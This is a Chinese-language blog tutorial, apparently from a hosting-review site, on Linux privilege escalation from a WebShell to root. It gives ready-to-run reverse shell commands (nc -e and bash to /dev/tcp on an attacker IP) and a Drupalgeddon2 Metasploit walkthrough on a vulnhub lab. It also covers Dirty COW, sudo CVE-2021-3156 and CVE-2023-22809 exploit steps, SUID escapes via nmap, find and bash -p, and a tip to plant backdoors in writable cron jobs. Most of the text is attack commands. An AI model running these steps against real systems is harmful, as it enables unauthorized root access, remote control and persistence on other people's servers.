欢迎光临
我们一直在努力

Linux 提权

Linux 提权 — 从 WebShell 到 root,内核、SUID、sudo 三管齐下

前面花了大量篇幅讲 Windows 提权,但生产环境中 Linux 服务器占比更高。Linux 提权和 Windows 思路类似——找漏洞、找配置缺陷、找权限滥用——但工具和方法完全不同。今天从内核漏洞脏牛到 sudo 溢出再到 SUID 滥用,把 Linux 提权三板斧讲透。


一、Linux 必知必会命令速查

系统信息

uname -a # 查看所有系统信息(内核版本必查)
cat /etc/issue # 查看发行版本
cat /etc/*-release # 查看发行版本详情
cat /etc/passwd # 列出系统所有用户
cat /etc/shadow # 列出所有用户密码(加密的)

文件操作

ls -al # 显示所有文件(含隐藏文件)
pwd # 当前目录
cat 文件名 # 查看文件
cat >abc.txt # 写入内容到文件
cd .. # 返回上级
cd / # 返回根目录

网络

ifconfig / ip a # 查看 IP
netstat -antp # 查看端口连接

用户与权限

whoami # 当前用户
su 用户 # 切换用户
chmod 777 文件 # 赋予全部权限
chmod +s 命令 # 设置 SUID 权限

进程与任务

ps aux # 所有进程
kill -9 PID # 强杀进程
crontab -l # 查看计划任务

工具

wget URL # 下载文件
curl URL -o 文件名 # 下载文件
gcc / g++ # 编译 C/C++ 程序
python -c 'import pty; pty.spawn("/bin/bash")' # 提升 shell 交互性


二、反弹 Shell — 提权的前提

为什么需要反弹 Shell?

WebShell 能执行命令,但不支持交互式操作。溢出工具需要完整的终端才能运行。反弹 Shell 就是从目标机器上「弹」一个完整的命令行终端回来。

三种反弹方式

方式 1:NC 反弹

# 攻击机监听
nc -lvvp 12666

# 目标机执行(通过 WebShell)
nc 攻击机IP 12666 -e /bin/bash

方式 2:Bash 反弹(最常用)

# 攻击机监听
nc -vv -l -p 8000

# 目标机执行
bash -i >& /dev/tcp/攻击机IP/8000 0>&1

原理拆解:

bash -i → 创建一个交互式 Bash
>& /dev/tcp/IP/8000 → 将标准输出和错误输出重定向到攻击机的 8000 端口
0>&1 → 将标准输入也重定向过去

效果:目标机上敲键盘 → 数据通过 TCP 发到攻击机 → 攻击机上看到输出 → 完整的交互式 Shell!

方式 3:Python 升级 Shell

MSF 反弹的 Shell 交互性很差,用 Python 升级:

python -c 'import pty; pty.spawn("/bin/bash")'


三、内核漏洞提权 — 脏牛(Dirty Cow)

3.1 Linux 版本认知

发行版本:

发行版适用场景
CentOS 网站运维
Ubuntu 程序员 / 开发者
Debian 安全人员

cat /etc/issue # 查看发行版本
cat /etc/*-release # 详细版本信息

内核版本:

uname -a
# 输出示例:Linux debian 4.9.0-8-amd64 #1 SMP …

# 解读:4.9.0-8
# 4 → 主版本
# 9 → 次版本(偶数=稳定版,奇数=开发版)
# 0 → 错误修补次数

查找漏洞:

# searchsploit 搜索公开 EXP
searchsploit linux Debian 4

# 查看 EXP 详情
searchsploit -p 19256

# GitHub 资源
# https://github.com/SecWiki/linux-kernel-exploits


3.2 脏牛漏洞(Dirty Cow)原理

漏洞编号:CVE-2016-5195

一句话原理:

内核在处理内存页的写时复制(Copy-On-Write)机制时存在竞争条件。攻击者利用这个竞争条件,可以将原本只读的内存页面修改为可写,从而实现向只读文件中写入任意内容——比如往 /etc/passwd 里加一个 root 用户。

影响范围: Linux 内核版本 4.8 以下。

为什么叫「脏牛」?

  • Dirty = 修改了不该修改的内存页
  • Cow = Copy-On-Write 操作
  • 合起来 = 脏牛

3.3 脏牛提权完整实战(vulnhub 靶场)

阶段 1:发现目标

# nmap 扫网段
nmap 10.0.0.0/24

# 排除法确定靶场 IP
# 已知:10.0.0.1 为物理机、10.0.0.254 为网关、10.0.0.201 为 Kali
# 对 10.0.0.2 和 10.0.0.5 分别扫端口
nmap 10.0.0.5 -p-
# 发现 80 和 1898 端口开放

阶段 2:识别框架

访问 10.0.0.5:1898 → 发现 CMS 框架为 Drupal。

阶段 3:利用框架漏洞

msfconsole
search Drupal
use exploit/unix/webapp/drupal_drupalgeddon2
set rhosts 10.0.0.5
set rport 1898
run
# 拿到 Shell!

阶段 4:脏牛提权

# 查看内核版本 → 4.8 以下 → 使用脏牛 1.0
uname -a

# 下载脚本(通过 kali Apache 服务器中转)
cd /tmp
wget http://10.0.0.201:80/Dirty.cpp

# 编译
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow Dirty.cpp -lutil

# 执行
./dcow -s
# 成功 → root 权限!

g++ 编译参数详解:

参数说明
-Wall 发出所有有用的警告
-O2 编译优化级别
-pthread 多线程支持
-lutil 链接 util 库
⚠️ 内核漏洞警告

内核漏洞提权应作为最后手段:

  • 可能造成服务器崩溃(EXP 不稳定)
  • 利用成功也可能留下痕迹 / 日志
  • 生产环境中切忌冒用

  • 四、Sudo 提权

    4.1 原理

    sudo 允许普通用户以 root 身份运行部分命令。如果 sudo 本身存在漏洞,普通用户就能利用漏洞直接获得 root 权限。

    4.2 CVE-2023-22809(sudoedit 绕过)

    影响版本: sudo 1.8.0 ~ 1.9.12p1

    # 查看 sudo 版本
    sudo -V

    # cd 到 /tmp,上传 EXP,执行
    chmod 777 SUDO-EXP.sh
    ./SUDO-EXP.sh
    # → root 权限!

    4.3 CVE-2021-3156(sudoedit 缓冲区溢出)

    2021 年披露的高危漏洞。sudo 在 shell 模式下使用 -s 或 -i 选项时没有正确转义反斜杠,导致堆缓冲区溢出。只要存在 sudoers 文件,普通用户就能利用此漏洞提权到 root。

    影响版本:

    • sudo 1.8.2 ~ 1.8.31p2
    • sudo 1.9.0 ~ 1.9.5p1

    # 1. 查看 sudo 版本
    sudo –version

    # 2. 编译 EXP
    cd /tmp && mkdir 1 && cd 1
    # 上传 CVE-2021-3156 EXP
    make

    # 3. 运行 → 根据系统版本选择编号
    ./sudo-hax-me-a-sandwich 0
    whoami
    # → root!


    五、SUID 提权

    5.1 什么是 SUID?

    SUID(Set User ID)是一种特殊权限。设置了 SUID 的程序,在用户执行时,会以该程序属主的权限运行。

    类比: 古代皇帝给将军的虎符——手持虎符就能调用千军万马,即使你本人只是一个普通士兵。

    例如,ping 命令需要 root 权限才能打开网络套接字,但普通用户也能 ping。这就是因为 /usr/bin/ping 被设置了 SUID,所有执行 ping 的用户都暂时拥有 root 的权限。

    5.2 查找 SUID 文件

    find / -user root -perm -4000 -print 2>/dev/null
    find / -perm -u=s -type f 2>/dev/null
    find / -user root -perm -4000 -exec ls -ldb {} \\;

    5.3 常见 SUID 提权命令

    命令利用方式
    nmap 旧版(2.02~5.21)支持交互模式 –interactive → !sh → root
    vim vim /etc/shadow 直接读密码文件
    find find / -exec /bin/sh \\; → root shell
    bash bash -p → 直接弹出 root 交互式 shell
    less less /etc/passwd → !/bin/sh → root shell
    more 同 less
    nmap SUID 利用

    nmap –version # 确认是旧版本
    nmap –interactive # 进入交互模式
    !sh # 提权到 root!

    find SUID 利用

    find /home -exec /bin/sh \\; # 任何路径都行
    # → root shell!

    bash SUID 利用

    bash -p
    # → root shell!

    vim SUID 利用

    vim /etc/shadow # 直接读取密码文件


    六、Linux 提权全景对比

    提权方式原理条件风险
    脏牛 内核 COW 竞争条件 内核 < 4.8 🔴 可能崩溃
    CVE-2021-3156 sudoedit 缓冲区溢出 sudo 1.8.2~1.9.5p1 🟡 较稳定
    CVE-2023-22809 sudoedit 配置绕过 sudo 1.8.0~1.9.12p1 🟡 较稳定
    SUID 命令 命令权限配置缺陷 特定命令有 SUID 🟢 最安全

    七、Linux 提权完整流程

    拿到 WebShell

    反弹交互式 Shell(bash -i / nc)

    信息收集
    ├── uname -a → 内核版本
    ├── cat /etc/issue → 发行版本
    ├── sudo –version → sudo 版本
    ├── find / -perm -4000 → SUID 文件
    ├── cat /etc/crontab → 计划任务
    └── cat /etc/passwd → 用户列表

    选择提权路径
    ├── 内核 < 4.8 → 脏牛
    ├── sudo 有漏洞版本 → sudoedit EXP
    ├── 有 SUID 文件 → nmap / vim / find / bash
    └── 计划任务 writable → 写后门到定时任务

    提权成功 → root! 🎯


    写在最后: Linux 提权比 Windows 更依赖「信息收集」——一个 uname -a、一个 sudo -V、一个 find / -perm -4000 三连查询,往往比花时间试漏洞更重要。脏牛虽猛但可能崩服务器,SUID 提权最安全但看运气。记住:内核漏洞是最后手段,SUID 和 sudo 才是日常提权的主战场。

    赞(0)
    未经允许不得转载:171主机测评 » Linux 提权
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址